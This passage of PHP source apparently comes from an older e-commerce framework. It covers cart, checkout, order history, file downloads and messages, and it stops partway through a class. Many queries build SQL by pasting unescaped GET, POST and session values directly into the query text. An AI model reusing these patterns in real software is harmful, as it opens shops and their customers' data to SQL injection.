$this->db->QFetchRowArray("SELECT * FROM {$this->tables['plugin:shop_files']} WHERE item_parent='{$product[item_id]}'"); if (is_array($files)) { $cart[$key]["download"] = $base->html->table( $template , "Download", $files ); } else $cart[$key]["download"] = $template->blockReplace("NoDownload" , array()); } //process the data $order["order_date"] = date("Y年m月d日 g:i:a" , $order["order_date"]); $order["status"] = $status[$order["order_status"]]; $price_fields = array( "order_price_subtotal" , "order_price_shipping" , "order_price_tax" , "order_price_discount" , "order_price_total" ); foreach ($price_fields as $key => $val) { $order[$val] = number_format($order[$val] , 2); } if ((($order["order_status"] == "2")||($order["order_status"] == "7")) && !$admin) { $cart_template = "Cart"; } else { $cart_template = "CartNF"; } return $template->blockReplace( "Main", array( "client" => $template->blockReplace( "Client", $order ), "cart" => CTemplateStatic::Replace( $base->html->Table( $template, $cart_template, $cart ), $order ) ) ); } } /** * description * * @param * * @return * * @access */ function DownloadOrderFile() { global $_SESS; $order = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_orders']} WHERE order_code=\"{$_GET['o']}\""); $file = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_files']} WHERE item_id=\"{$_GET[f]}\""); $product = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_items']} WHERE item_id='{$file[item_parent]}'"); $cart = $this->db->QFetchArray("SELECT * FROM {$this->tables['plugin:shop_cart']} WHERE item_product_sku='{$product[item_sku]}' AND item_order='{$order[order_id]}'"); $downloads = $this->db->QFetchRowArray("SELECT * FROM {$this->tables['plugin:shop_files_history']} WHERE file_order=\"{$order[order_code]}\" AND file_file='{$file[item_id]}'"); $_downloads = array(); if (is_Array($downloads)) { foreach ($downloads as $key => $val) { $_downloads[$val["file_ip"]] = "1"; } } if (is_array($order) && is_array($file) && is_array($product) && is_array($cart) && (count($_downloads) < $this->vars->data["set_shop_download_exceeded"])) { //if user is logged in dont log the download if (!$_SESS["client"]["user_id"]) { //store the record $this->db->QueryInsert( $this->tables["plugin:shop_files_history"], array( "file_order" => $order["order_code"], "file_file" => $file["item_id"], "file_date" => time(), "file_ip" => $_SERVER["REMOTE_ADDR"], ) ); } //check for download history $mime = new CMime(); $mime->FileName($file["item_file_file"]); $mime->Set("unknown"); //read thefile contnets readfile("upload/shop/files/{$file[item_id]}.file"); die(); } $this->module->plugins["modules"]->RedirectToModule( $this->vars->data["set_shop_download_exceeded"] ); } /** * description * * @param * * @return * * @access */ function AddToCart() { global $_SESS; $product = $this->module->plugins["products"]->GetProduct($_GET["pid"]); if (!is_array($product)) { die("error"); } if (is_array($product)) { $product = $this->module->plugins["products"]->ProcessProduct($product , true); } //process the final price $unit_price = $product["item_price"]; if (is_array($_POST["o"])) { foreach ($_POST["o"] as $key => $val) { if (is_array($product["variations"][$key]) && is_array($product["variations"][$key]["options"][$val])) { $unit_price += $product["variations"][$key]["options"][$val]["price"]; } } } //check if i have the product in cart and increment the quantity /* if (count($_SESS["cart"])) { foreach ($_SESS["cart"] as $key => $val) { if (($val["p"] == $product["item_id"]) && !is_array(array_diff((array)$v["variations"] , (array)$_POST["o"])) && ($val["price"] == $unit_price)) { $_SESS["cart"][$key]["qty"]++; $found = true; } } } */ //if not found add as a new record in session if (!$found) { $_SESS["cart"][] = array( "p" => $product["item_id"], "price" => $unit_price, "variations" => $_POST["o"], "qty" => max($_POST["q"] ,1), "ship" => $product["item_shipping"] ); } return $this->module->plugins["common"]->SuccessMsg( $product["item_title"] . " was added to cart ! " ); } /** * description * * @param * * @return * * @access */ function hasShipping() { global $_SESS; if (is_array($_SESS["cart"])) { foreach ($_SESS["cart"] as $key => $val) { if ($val["ship"]) { return true; } } } return false; } /** * description * * @param * * @return * * @access */ function AjaxSummary($template = null) { global $_SESS , $base; $this->__init(); if ($template === null) { $template = $this->private->templates["summary"]; } if ($_POST["qty"]) { foreach ($_POST["qty"] as $key => $val) { if ($_SESS["cart"][$key]) { if ($val > 0) { $_SESS["cart"][$key]["qty"] = $val; } else { unset($_SESS["cart"][$key]); } } } } if (is_array($_SESS["cart"]) && count($_SESS["cart"])) { foreach ($_SESS["cart"] as $key => $val) { $data[$key] = $val; $data[$key]["raw"] = $this->module->plugins["products"]->GetProduct($val["p"] , true); } } if (is_array($data)) { foreach ($data as $key => $val) { $options = array(); if (is_array($val["variations"])) { foreach ($val["variations"] as $k => $v) { if (trim($v)) { $options[] = $v ; } } } $products[] = array( "item_title" => $val["raw"]["item_title"], "item_id" => $val["raw"]["item_title"], "price" => $this->module->plugins["products"]->FormatPrice($val["price"]), "total_price" => $this->module->plugins["products"]->FormatPrice($val["price"] * max($val["qty"] , 1)), "qty" => max($val["qty"],1), "options" => is_array($options) ? implode("," , $options) : "", "key" => $key, ); $total += $val["price"] * max($val["qty"] , 1); $products_count += max($val["qty"] , 1); } } return CTemplateStatic::Replace( $template->blockReplace( "Main" , array( "products" => $base->html->table( $template, "" , $products ), "total" => $this->module->plugins["products"]->formatPrice($total), "products_count" => $products_count, "button_checkout" => $template->blockReplace($products_count? "CheckoutButton" : "CheckoutButtonDisabled" , array()), ) ), array_merge( $this->tpl_module["settings"], array( "link:cart" => $this->module->plugins["modules"]->PrepareLink("cart/" ), "link:checkout" => $this->module->plugins["modules"]->PrepareLink("cart/" . "checkout/" ), "link:continue" => $this->module->plugins["modules"]->PrepareLink("" ), ) ) ); } function Summary() { $this->__init(); if (!$this->tpl_module["module_unique_enabled"]) { return ""; } $return = CTemplateStatic::Replace( $this->private->templates["summary"]->blockReplace( "Widget" , array( //this should be removed to free mysql server from unecessary queries "content" => $this->AjaxSummary(), ) ), $this->tpl_module["settings"] ); return $this->texts( $return ); } /** * description * * @param * * @return * * @access */ function isEnabled() { $this->__init(); if ($this->tpl_module["module_unique_enabled"]) return true; else return false; } function Button() { $this->__init(); if (!$this->tpl_module["module_unique_enabled"]) { return ""; } return $this->private->templates["summary"]->blockReplace( "Button" , $this->tpl_module["settings"] ); } /** * description * * @param * * @return * * @access */ function ViewCart() { $this->module->plugins["modules"]->SetSeo(array( "seo_title" => $this->tpl_module["settings"]["set_seo_title"], "seo_desc" => $this->tpl_module["settings"]["set_seo_desc"], "seo_keys" => $this->tpl_module["settings"]["set_seo_keys"], )); return CTemplateStatic::Replace( $this->private->templates["order-cart"]->blockreplace( "Step", array( "content" => $this->AjaxSummary($this->private->templates["order-cart"]), "steps" => $this->checkoutSteps("1"), ) ), $this->actionLinks() ); } /** * description * * @param * * @return * * @access */ function ActionLinks() { $links = array( "link:cart" => $this->module->plugins["modules"]->prepareLink("cart/"), "link:step1" => $this->module->plugins["modules"]->prepareLink("cart/checkout/"), "link:step2" => $this->module->plugins["modules"]->prepareLink("cart/checkout/shipping/"), "link:step3" => $this->module->plugins["modules"]->prepareLink("cart/checkout/review/"), "link:step4" => $this->module->plugins["modules"]->prepareLink("cart/checkout/payment/"), "link:history-order" => $this->module->plugins["modules"]->prepareLink("account/history/"), "link:history" => $this->module->plugins["modules"]->prepareLink("account/history/"), "link:profile" => $this->module->plugins["modules"]->prepareLink("account/profile-shop/"), "link:download" => $this->module->plugins["modules"]->prepareLink("account/download/"), ); return $links; } /** * description * * @param * * @return * * @access */ function Billing() { global $_SESS; $this->module->plugins["modules"]->SetSeo(array( "seo_title" => $this->tpl_module["settings"]["set_seo_title"], "seo_desc" => $this->tpl_module["settings"]["set_seo_desc"], "seo_keys" => $this->tpl_module["settings"]["set_seo_keys"], )); //i need to do a detection to see if i have shipping too, the best is to do in "cart summary" $is_shipping = $this->hasShipping(); $data["countries"] = $this->module->plugins["shop"]->GetCountries(false , true); $return = $this->private->templates["order-billing"]->blockReplace( "Main", array( "countries" => $data["countries"], "shipping_form" => $is_shipping ? $this->private->templates["order-billing"]->Blockreplace( "ShippingForm", $data ) : "", "shipping_title" => $is_shipping ? $this->private->templates["order-billing"]->Blockreplace( "ShippingTitle", array( ) ) : "", "shipping_control" => $is_shipping ? $this->private->templates["order-billing"]->Blockreplace( "ShippingControl", array( ) ) : "", "email_field" => !$_SESS["client"] ? $this->private->templates["order-billing"]->blockReplace( "Email" , $data ) : "", "steps" => $this->checkoutSteps("2"), ) ); //replace button with no shippoing one if (!$is_shipping) { $this->tpl_module["settings"]["set_step1_button_2"] = $this->tpl_module["settings"]["set_step1_button_2_2"]; } return CTemplateSTatic::EmptyVars( $this->Texts($return), $_SESS["checkout"]["billing"] ); } /** * description * * @param * * @return * * @access */ function AjaxBilling() { global $_SESS; $fields = array( "shipping" => array( "order_shipping_phone", "order_shipping_country", "order_shipping_zip", "order_shipping_state", "order_shipping_city", "order_shipping_address_1", "order_shipping_address_2", "order_shipping_last_name", "order_shipping_first_name", ), "billing" => array( "order_billing_phone", "order_billing_country", "order_billing_zip", "order_billing_state", "order_billing_city", "order_billing_address_1", "order_billing_address_2", "order_billing_last_name", "order_billing_first_name", "order_billing_email", ), ); //remove the email if (is_array($_SESS["client"])) { $_POST["order_billing_email"] = $_SESS["client"]["user_email"]; } if (!$this->hasShipping()) { $shipping = false; unset($fields["shipping"]); $data = $fields["billing"]; } else { $data = array_merge( $fields["billing"], $fields["shipping"] ); $shipping = true; } foreach ($data as $key => $val) { if (!$_POST[$val]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_step1_error"] ); } } //all good .. //remove the old session unset($_SESS["checkout"]["billing"]); foreach ($data as $key => $val) { $_SESS["checkout"]["billing"][$val] = $_POST[$val]; } return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_step1_success"], $this->module->plugins["modules"]->PrepareLink($shipping ? "cart/checkout/shipping/" : "cart/checkout/review/") ); } /** * description * * @param * * @return * * @access */ function Shipping() { global $_SESS , $base; $this->module->plugins["modules"]->SetSeo(array( "seo_title" => $this->tpl_module["settings"]["set_seo_title"], "seo_desc" => $this->tpl_module["settings"]["set_seo_desc"], "seo_keys" => $this->tpl_module["settings"]["set_seo_keys"], )); if ($this->vars->data["set_shop_shipping_country"] == $_SESS["checkout"]["billing"]["order_shipping_country"]) { $local = 0; } else $local = 1; $methods = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:shop_shipping']} WHERE item_status=1 AND item_intl={$local} ORDER BY item_price ASC " ); if (is_Array($methods)) { foreach ($methods as $key => $val) { $methods[$key]["price"] = $val["item_price"] ? $this->module->plugins["products"]->FormatPrice($val["item_price"]) : $this->tpl_module["settings"]["set_step2_price_free"]; $methods[$key]["checked"] = $val["item_id"] == $_SESS["checkout"]["shipping"] ? $this->private->templates["order-shipping"]->BlockReplace("Checked" , array()) : ""; } } $return = $this->private->templates["order-shipping"]->blockReplace( "Main", array( "methods" => $base->html->table( $this->private->templates["order-shipping"] , "", $methods ), "default" => $_SESS["checkout"]["shipping"], "steps" => $this->checkoutSteps("3"), ) ); return CTemplateSTatic::EmptyVars( $this->Texts($return), $_SESS["checkout"]["shipping"] ); } /** * description * * @param * * @return * * @access */ function AjaxShipping() { global $_SESS; if (!$_POST["method"]) { return $this->module->plugins["common"]->ErrorMsg( $this->tpl_module["settings"]["set_step2_error"] ); } $_SESS["checkout"]["shipping"] = $_POST["method"]; return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_step2_success"], $this->module->plugins["modules"]->PrepareLink("cart/checkout/review/") ); } /** * description * * @param * * @return * * @access */ function Review() { global $_SESS , $base; $this->module->plugins["modules"]->SetSeo(array( "seo_title" => $this->tpl_module["settings"]["set_seo_title"], "seo_desc" => $this->tpl_module["settings"]["set_seo_desc"], "seo_keys" => $this->tpl_module["settings"]["set_seo_keys"], )); $hasShipping = $this->hasShipping(); $cart = $this->ProcessCart(); $return = $this->private->templates["order-review"]->blockReplace( "Main", array( "total" => $this->module->plugins["products"]->FormatPrice($cart["total"]), "shipping" => "", "tax" => "", "products" => $base->html->table( $this->private->templates["order-review"], "Products", $cart["items"] ), "billing_info" => $this->private->templates["order-review"]->blockReplace( "BillingInfo", $_SESS["checkout"]["billing"], "" ), "shipping_info" => $hasShipping ? $this->private->templates["order-review"]->blockReplace( "ShippingInfo", $_SESS["checkout"]["billing"] ) : "", "shipping_title" => $hasShipping ? $this->private->templates["order-review"]->blockReplace( "ShippingTitle", array() ) : "", "back_button" => $this->private->templates["order-review"]->blockReplace( $hasShipping ? "BackShipping" : "BackNoShipping", array() ), "steps" => $this->checkoutSteps("4"), ) ); return $this->Texts($return); } /** * description * * @param * * @return * * @access */ function ProcessCart($add = true) { global $_SESS; if (is_array($_SESS["cart"]) && count($_SESS["cart"])) { foreach ($_SESS["cart"] as $key => $val) { $data[$key] = $val; $data[$key]["raw"] = $this->module->plugins["products"]->GetProduct($val["p"] , true); } } if (is_array($data)) { foreach ($data as $key => $val) { $options = array(); if (is_array($val["variations"])) { foreach ($val["variations"] as $k => $v) { if (trim($v)) { $options[] = $v ; } } } $products[] = array( "title" => $val["raw"]["item_title"], "id" => $val["raw"]["item_id"], "price" => $this->module->plugins["products"]->FormatPrice($val["price"]), "total_price" => $this->module->plugins["products"]->FormatPrice($val["price"] * max($val["qty"] , 1)), "qty" => max($val["qty"],1), "options" => is_array($options) ? implode("," , $options) : "", "key" => $key, "sku" => $val["raw"]["item_sku"], "price_raw" => $val["price"], "total_price_raw" => $val["price"] * max($val["qty"] , 1), ); $subtotal += $val["price"] * max($val["qty"] , 1); $products_count += max($val["qty"] , 1); } } $total = $subtotal; if ($_SESS["checkout"]["shipping"]) { $method = $this->db->QFEtchArray("SELECT * FROM {$this->tables['plugin:shop_shipping']} WHERE item_id='{$_SESS[checkout][shipping]}'"); if ($add) { $products[] = array( "title" => "{SET_STEP3_SHIPPING}", "options" => $method["item_title"], "price" => "-", "qty" => "-", "total_price" => $method["item_price"] ? $this->module->plugins["products"]->FormatPrice($method["item_price"]) : $this->tpl_module["settings"]["set_step3_shipping_free"], ); } //add the shipping price to total $shipping_price = $method["item_price"]; $total += $method["item_price"]; } //do the checking for tax $tax = $this->__tax($subtotal); if ($add) { $products[] = array( "title" => "{SET_STEP3_TAX}", "options" => "", "price" => "-", "qty" => "-", "total_price" => $tax ? $this->module->plugins["products"]->FormatPrice($tax) : $this->tpl_module["settings"]["set_step3_tax_free"], ); } $total += $tax; return array( "products" => $products_count, "items" => $products, "total" => $total, "subtotal" => $subtotal, "shipping" => $shipping_price, "tax" => $tax, ); debug($products,1); } /** * description * * @param * * @return * * @access */ function Payment() { global $base; $this->module->plugins["modules"]->SetSeo(array( "seo_title" => $this->tpl_module["settings"]["set_seo_title"], "seo_desc" => $this->tpl_module["settings"]["set_seo_desc"], "seo_keys" => $this->tpl_module["settings"]["set_seo_keys"], )); $accounts = $this->db->QFetchRowArray( "SELECT *FROM {$this->tables['plugin:shop_accounts']} WHERE item_status=1 ORDER BY item_order ASC" ); //process the years for ($i = date("Y"); $i <= date("Y") + 5 ; $i++ ) { $years .= "<option>{$i}</option>"; } if (is_array($accounts)) { $found = false; foreach ($accounts as $key => $val) { $accounts[$key]["class"] = !$found ? "selected" : ""; $found = true; $val["years"] = $years; $accounts[$key]["content"] = $this->private->templates["order-payment"]->blockreplace( $val["item_card"] ? "AccountCreditCard" : "AccountLink", $val ); } } $return = $this->private->templates["order-payment"]->blockReplace( "Main", array( "accounts" => $base->html->Table( $this->private->templates["order-payment"], "Accounts", $accounts ), "accounts_data" => $base->html->Table( $this->private->templates["order-payment"], "AccountsData", $accounts ), "steps" => $this->checkoutSteps("5"), ) ); return $this->Texts($return); } function Texts($content) { return CTemplateStatic::Replace( $content , array_merge( $this->tpl_module["settings"], $this->ActionLinks() ) ); } /** * description * * @param * * @return * * @access */ function GetCountries($all = true , $html = false) { $countries = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:shop_countries']}" . ($all ? "" : " WHERE item_status=1 ") . " ORDER BY item_title " ); if (is_array($countries)) { foreach ($countries as $key => $val) { $_countries[] = "<option value='{$val[item_iso]}'>{$val[item_title]}</option>"; } if ($html) { return implode("\n" , $_countries); } return $countries; } } function ClearCart() { global $_SESS; unset($_SESS["cart"]); unset($_SESS["checkout"]["shipping"]); } /** * description * * @param * * @return * * @access */ function OrdersHistory() { global $base, $_SESS; $orders = $this->GetOrders(); if (is_array($orders["records"])) { foreach ($orders["records"] as $key => $val) { $orders["records"][$key]["price"] = $this->module->plugins["products"]->FormatPrice($val["order_price_total"]); $orders["records"][$key]["date"] = Date($this->tpl_module["settings"]["set_history_date_format"] , $val["order_date"]); $orders["records"][$key]["status"] = $this->tpl_module["settings"]["set_history_status_". $val["order_status"]]; } } $return = $this->private->templates["orders-history"]->blockReplace( "Main", array( "orders" => $base->html->Table( $this->private->templates["orders-history"], "", $orders["records"] ), "paging"=> $this->module->plugins["paging"]->Paging( $orders["pages"] , $orders["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink("account/history/"), "all" => $this->module->plugins["modules"]->PrepareLink("account/history/{PAGE}") , ), array( "ipp" => $orders["ipp"], "total" => $orders["count"] ) ), "shop_menu" => $this->UserMenu("2"), "user_menu" => $this->module->plugins["users"]->UserMenu(), ) ); return $this->Texts($return); } function GetOrders() { global $_SESS; $count = $this->tpl_module["settings"]["set_account_orders_pp"]; $page = $_GET["page"]; $item_count = $this->db->RowCount( $this->tables['plugin:shop_orders'], "WHERE order_user={$_SESS[client][user_id]} AND order_status>0 " ); $page = $_GET["page"]; if (!$page && $item_count) { $page = 1; } else $page = (int)$page; $items = $this->db->QFetchRowArray( "SELECT * " . "FROM {$this->tables['plugin:shop_orders']} " . "WHERE order_user={$_SESS[client][user_id]} AND order_status>0 " . "ORDER BY order_date DESC " . "LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_Array($items)) { foreach ($items as $key => $val) { } } return array( "records" => $items, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, "ipp" => $count, ); } /** * description * * @param * * @return * * @access */ function OrderHistory() { global $_SESS , $base; $order = $this->db->QFetchArray( "SELECT * FROM {$this->tables['plugin:shop_orders']} WHERE order_code='{$_GET[code]}' AND order_user='{$_SESS[client][user_id]}'" ); if (!is_Array($order)) { urlredirect($this->module->plugins["modules"]->PrepareLink("account/history/")); } $cart = $this->db->QFetchRowArray( "SELECT * FROM {$this->tables['plugin:shop_cart']} WHERE item_order={$order[order_id]}" ); if (is_array($cart)) { foreach ($cart as $key => $val) { $cart[$key]["item_price"] = $this->module->plugins["products"]->FormatPrice($val["item_price"]); $cart[$key]["item_total"] = $this->module->plugins["products"]->FormatPrice($val["item_total"]); } } //format prices $prices = array( "order_price_total" , "order_price_tax" , "order_price_shipping" ); foreach ($prices as $key => $val) { $order[$val] = $this->module->plugins["products"]->FormatPrice($order[$val]); } //format order $order["date"] = Date($this->tpl_module["settings"]["set_history_date_format"] , $order["order_date"]); $order["products"] = CTemplateStatic::Replace( $base->html->table( $this->private->templates["order-details"], "Products", $cart ), $order ); $return = CTemplateStatic::Replace( $this->private->templates["order-details"]->blockReplace( "Main", $order ), array( "shop_menu" => $this->UserMenu("2"), "user_menu" => $this->module->plugins["users"]->UserMenu(), ) ); return $this->Texts( $return ); } /** * description * * @param * * @return * * @access */ function UserMenu($selected = "") { $this->__init(); if (!$this->isEnabled()) { return ""; } return $this->texts( $this->private->templates["user-menu"]->BlockReplace( "Menu", array( "selected_1" => $selected == "1" ? "selected" : "", "selected_2" => $selected == "2" ? "selected" : "", "download" => $this->tpl_module["settings"]["set_account_download"] ? $this->private->templates["user-menu"]->blockReplace( "Download" , array( "selected_3" => $selected == "3" ? "selected" : "", ) ) : "", ) ) ); } function ProfileShop() { global $_SESS; $data = $_SESS["client"]; $data["countries"] = $this->GetCountries(false , true); $return = CTemplateStatic::Replace( $this->private->templates["profile"]->blockreplace( "Shop", $data ), array( "shop_menu" => $this->UserMenu("1"), "user_menu" => $this->module->plugins["users"]->UserMenu(), ) ); return $this->texts( $return ); } /** * description * * @param * * @return * * @access */ function ajax_update_profile() { global $_SESS; if (!$_SESS["client"]["user_id"]) { return $this->module->plugins["common"]->SuccessMsg( "", $this->module->plugins["modules"]->PrepareLink("signin/") ); } if ($_SERVER["REQUEST_METHOD"] != "POST") { return "invalid request"; } $fields = array( "user_shipping_phone", "user_shipping_country", "user_shipping_zip", "user_shipping_state", "user_shipping_city", "user_shipping_address_1", "user_shipping_address_2", "user_shipping_last_name", "user_shipping_first_name", "user_billing_phone", "user_billing_country", "user_billing_zip", "user_billing_state", "user_billing_city", "user_billing_address_1", "user_billing_address_2", "user_billing_last_name", "user_billing_first_name", ); //prepare the update field foreach ($fields as $key => $val) { $new_data[$val] = $_POST[$val]; } $this->db->QueryUpdate( $this->tables['plugin:users'], $new_data, "user_id=" . $_SESS["client"]["user_id"] ); $this->module->plugins["users"]->UpdateSession(); return $this->module->plugins["common"]->SuccessMsg( $this->tpl_module["settings"]["set_account_shop_saved"] ); } /** * description * * @param * * @return * * @access */ function CheckoutSteps($step) { global $base , $_SESS; $steps = array( "1" => array( "title" => $this->tpl_module["settings"]["set_steps_1_title"], "subtitle" => $this->tpl_module["settings"]["set_steps_1_subtitle"], "link" => $this->module->plugins["modules"]->PrepareLink("cart/") ), "2" => array( "title" => $this->tpl_module["settings"]["set_steps_2_title"], "subtitle" => $this->tpl_module["settings"]["set_steps_2_subtitle"], "link" => $this->module->plugins["modules"]->PrepareLink("cart/checkout/") ), "2_ns" => array( "title" => $this->tpl_module["settings"]["set_steps_2_title_ns"], "subtitle" => $this->tpl_module["settings"]["set_steps_2_subtitle_ns"], "link" => $this->module->plugins["modules"]->PrepareLink("cart/checkout/") ), "3" => array( "title" => $this->tpl_module["settings"]["set_steps_3_title"], "subtitle" => $this->tpl_module["settings"]["set_steps_3_subtitle"], "link" => $this->module->plugins["modules"]->PrepareLink("cart/checkout/shipping/") ), "4" => array( "title" => $this->tpl_module["settings"]["set_steps_4_title"], "subtitle" => $this->tpl_module["settings"]["set_steps_4_subtitle"], "link" => $this->module->plugins["modules"]->PrepareLink("cart/checkout/review/") ), "4_ns" => array( "title" => $this->tpl_module["settings"]["set_steps_4_title_ns"], "subtitle" => $this->tpl_module["settings"]["set_steps_4_subtitle_ns"], "link" => $this->module->plugins["modules"]->PrepareLink("cart/checkout/review/") ), "5" => array( "title" => $this->tpl_module["settings"]["set_steps_5_title"], "subtitle" => $this->tpl_module["settings"]["set_steps_5_subtitle"], "link" => $this->module->plugins["modules"]->PrepareLink("cart/checkout/payment/") ), "5_ns" => array( "title" => $this->tpl_module["settings"]["set_steps_5_title_ns"], "subtitle" => $this->tpl_module["settings"]["set_steps_5_subtitle_ns"], "link" => $this->module->plugins["modules"]->PrepareLink("cart/checkout/payment/") ), ); $hasShipping = $this->HasShipping(); if (!$hasShipping) { $steps["2"] = $steps["2_ns"]; $steps["4"] = $steps["4_ns"]; $steps["5"] = $steps["5_ns"]; unset($steps["2_ns"]); unset($steps["4_ns"]); unset($steps["5_ns"]); unset($steps["3"]); } else { unset($steps["2_ns"]); unset($steps["4_ns"]); unset($steps["5_ns"]); } foreach ($steps as $key => $val) { if (!$found) { $steps[$key]["class"] = "checked"; } if ($key == $step) { $found = true; $steps[$key]["class"] = "selected"; } if ($found && ($key != $step)) { $steps[$key]["class"] = "disabled"; $steps[$key]["link"] = "#"; } } //prepare the quick shop summary if (is_array($_SESS["cart"]) && count($_SESS["cart"])) { foreach ($_SESS["cart"] as $key => $val) { $products += $val["qty"]; $total += $val["qty"] * $val["price"]; } } $return = CTemplateStatic::Replace( $base->html->Table( $this->private->templates["checkout-title"], "Steps" , $steps ), array( "title" => $this->private->templates["checkout-title"]->BlockReplace( "Title", array( "products" => (int)$products, "total" => $this->module->plugins["products"]->FormatPrice($total), ) ) ) ); return $this->Texts($return); } /** * description * * @param * * @return * * @access */ function cartEmptyCheck() { global $_SESS; if (!$_SESS["cart"] || !count($_SESS["cart"])) { urlredirect( $this->module->plugins["modules"]->PrepareLink("cart/") ); } if ($this->vars->data["set_shop_require_users"]) { $this->module->plugins["users"]->__check_session( "cart/checkout/" ); } } /** * description * * @param * * @return * * @access */ function ProfileDownloads() { global $_SESS , $base; $records = $this->GetDownloads(); $return = $this->private->templates["profile-downloads"]->blockReplace( "Main" , array( "files" => $base->html->Table( $this->private->templates["profile-downloads"], "", $records ["records"] ), "shop_menu" => $this->UserMenu("3"), "user_menu" => $this->module->plugins["users"]->UserMenu(), "paging"=> $this->module->plugins["paging"]->Paging( $records["pages"] , $records["page"], array( "first" => $this->module->plugins["modules"]->PrepareLink("account/download/"), "all" => $this->module->plugins["modules"]->PrepareLink("account/download/{PAGE}") , ), array( "ipp" => $records["ipp"], "total" => $records["count"] ) ), ) ); return $this->Texts($return); /* LIMIT 0 , 30 */ } function GetDownloads() { global $_SESS; $count = $this->tpl_module["settings"]["set_download_pp"]; // $count = 10; $page = $_GET["page"]; $_count = $this->db->QFetchArray( "SELECT count(f.item_id) as count FROM {$this->tables['plugin:shop_orders']} AS o, {$this->tables['plugin:shop_cart']} AS c, {$this->tables['plugin:shop_files']} AS f WHERE f.item_parent = c.item_product_id AND o.order_id = c.item_order AND o.order_user={$_SESS[client][user_id]} AND (order_status=2 OR order_status=5) ORDER BY order_date DESC, item_product ASC " ); $item_count = $_count["count"]; $page = $_GET["page"]; if (!$page && $item_count) { $page = 1; } else $page = (int)$page; $files = $this->db->QFetchRowArray( "SELECT f.item_title as file_title, f.item_id as file_id , f.item_file_file as file_file, f.item_last_update as file_date, item_product,item_product_sku, item_date,order_code , order_date FROM {$this->tables['plugin:shop_orders']} AS o, {$this->tables['plugin:shop_cart']} AS c, {$this->tables['plugin:shop_files']} AS f WHERE f.item_parent = c.item_product_id AND o.order_id = c.item_order AND o.order_user={$_SESS[client][user_id]} AND (order_status=2 OR order_status=5) ORDER BY order_date DESC, item_product ASC LIMIT " . ( max(0,($page - 1 ) * $count )) . " , " . $count ); if (is_array($files)) { foreach ($files as $key => $val) { $files[$key]["file_date"] = date($this->tpl_module["settings"]["set_download_date_file"] , $val["file_date"]); if (($val["item_product"] != $product) || ($order_id != $val["order_code"])) { $val["order_date"] = date($this->tpl_module["settings"]["set_download_date_order"] , $val["order_date"]); $files[$key]["extra"] = $this->private->templates["profile-downloads"]->blockReplace( "Product", $val ); $product = $val["item_product"]; $order_id = $val["order_code"]; } else { $files[$key]["extra"] = ""; } } } return array( "records" => $files, "count" => $item_count , "pages" => $item_count ? ceil($item_count / $count) : 1, "page" => $page, "ipp" => $count, ); } } ?>``` messages.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss author Exp $ description */ // dependencies //administration area require_once _LIBPATH . "messages.admin.php"; /** * description * * @library * @author * @since */ class CMessages { /** * description * * @var type * * @access type */ var $data; function CMessages($database , $table) { global $_LANGUAGE; $this->name = "messages"; $this->database = $database; $this->table = $table; $this->language = $_LANGUAGE; $this->Load(); } /** * description * * @param * * @return * * @access */ function Load() { //read the mesages $this->data = $this->database->QFetchRowArray("SELECT * FROM {$this->table} "); if (is_array($this->data)) { foreach ($this->data as $key => $val) { $this->data[$val["msg_code"]] = $val; unset($this->data[$key]); } } } /** * description * * @param * * @return * * @access */ function Get($code) { //read the code return $this->database->QFetchArray("SELECT * FROM {$this->table} WHERE " /*msg_lang='{$this->language}' AND */ . "msg_code='{$code}'"); } /** * description * * @param * * @return * * @access */ function LoadVars($module) { $this->data = $this->database->QFetchRowArray("SELECT * FROM {$this->table} "); //WHERE msg_lang='{$this->language}'"); $module = strtoupper($module); if (is_array($this->data)) { foreach ($this->data as $key => $val) { if (!$val["msg_user_title_protect"]) { $final["MODULE::$module::LANG.{$val[msg_code]}.title"] = $val["msg_user_title"]; $this->vars["{$val[msg_code]}.title"] = $val["msg_user_title"]; } if (!$val["msg_user_body_protect"]) { $final["MODULE::$module::LANG.{$val[msg_code]}.msg"] = $val["msg_user_body"]; $this->vars["{$val[msg_code]}.msg"] = $val["msg_user_body"]; } unset($this->data[$key]); } } return $final; } } ?>``` template.static.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class CTemplateStatic{ /** * description * * @param * * @return * * @access */ /** * description * * @param * * @return * * @access */ function Replace($tmp , $data = array()) { $template = new CTemplate($tmp , "string"); return $template->replace($data); } function EmptyVars($tmp , $data = array()) { $template = new CTemplate($tmp , "string"); if (count($data)) { $template->replace($data , false); } return $template->emptyvars(); } /** * description * * @param * * @return * * @access */ function ReplaceSingle($tmp , $var , $value) { return CTemplateStatic::Replace( $tmp , array( $var => $value ) ); } } /* History 0.2 Saturday 15 September 2007 Added BlockExists() 0.1 Friday 03 August 2007 Basic functionality */ ?>``` site.common.php ```<?php /* OXYLUS Development web framework copyright (c) 2002-2011 OXYLUS Development web: www.oxylus.ro mail: support@oxylus.ro $Id: name.php,v 0.0.1 dd/mm/yyyy hh:mm:ss oxylus Exp $ description */ // dependencies /** * description * * @library * @author * @since */ class COXYMallCommon extends CPlugin{ var $tplvars; function COXYMallCommon() { //$this->CPlugin($db, $tables , $templates); } function DoEvents(){ global $base, $_CONF, $_TSM , $_VARS , $_USER , $_BASE , $_SESS; parent::DoEvents(); } function __init() { global $_CONF; if ($this->__inited) { return ""; } $this->__inited = true; $path = $this->tpl_path; $templates = array( "categories" => "categories.htm", "errors" => "errors.htm", "fbcomments" => "fbcomments.htm", ); foreach ($templates as $key => $val) { $this->private->templates[$key] = new CTemplateDynamic( $path . $val ); } } function ErrorMsg($msg) { $this->__init(); return 